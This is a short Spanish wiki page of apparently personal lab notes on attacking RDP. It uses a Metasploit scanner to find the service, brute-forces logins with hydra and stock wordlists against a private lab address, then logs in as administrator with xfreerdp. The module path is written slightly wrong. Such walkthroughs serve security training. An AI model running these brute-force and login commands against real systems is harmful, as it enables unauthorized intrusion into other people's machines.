computing:hacking:active_directory:hacking_al_protocolo_rdp_puerto

Esta página es de solo lectura. Puedes ver la fuente pero no puedes cambiarla. Pregunta a tu administrador si crees que esto es incorrecto.

====== Hackear RDP ======


Por lo general, el protocolo RDP corre sobre el puerto 3389, pero es posible que corra por otro puerto, por lo que podemos asegurarnos de que un puerto es el RDP con metasploit:

{{pasted_image_20230730164545.png|}}

Usaremos el siguiente módulo de metasploit:

<code bash>
use auxiliary_scanner/rdp/rdp_scanner

</code>

{{pasted_image_20230730164711.png|}}

Y ahora con hydra podemos hacer el ataque de fuerza bruta con estos parámetros:

<code bash>
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://10.2.28.92 -s 3333

</code>

Y nos encuentra los siguientes usuarios:

{{pasted_image_20230730165016.png|}}

Ahora para conectarnos de forma remota, podemos usar una herramienta llamada xfreerdp:

<code bash>
xfreerdp /u:administrator /p:qwertyuiop /v:10.2.28.92:3333

</code>

{{pasted_image_20230730165316.png|}}

Y ya habremos entrado:

{{pasted_image_20230730165226.png|}}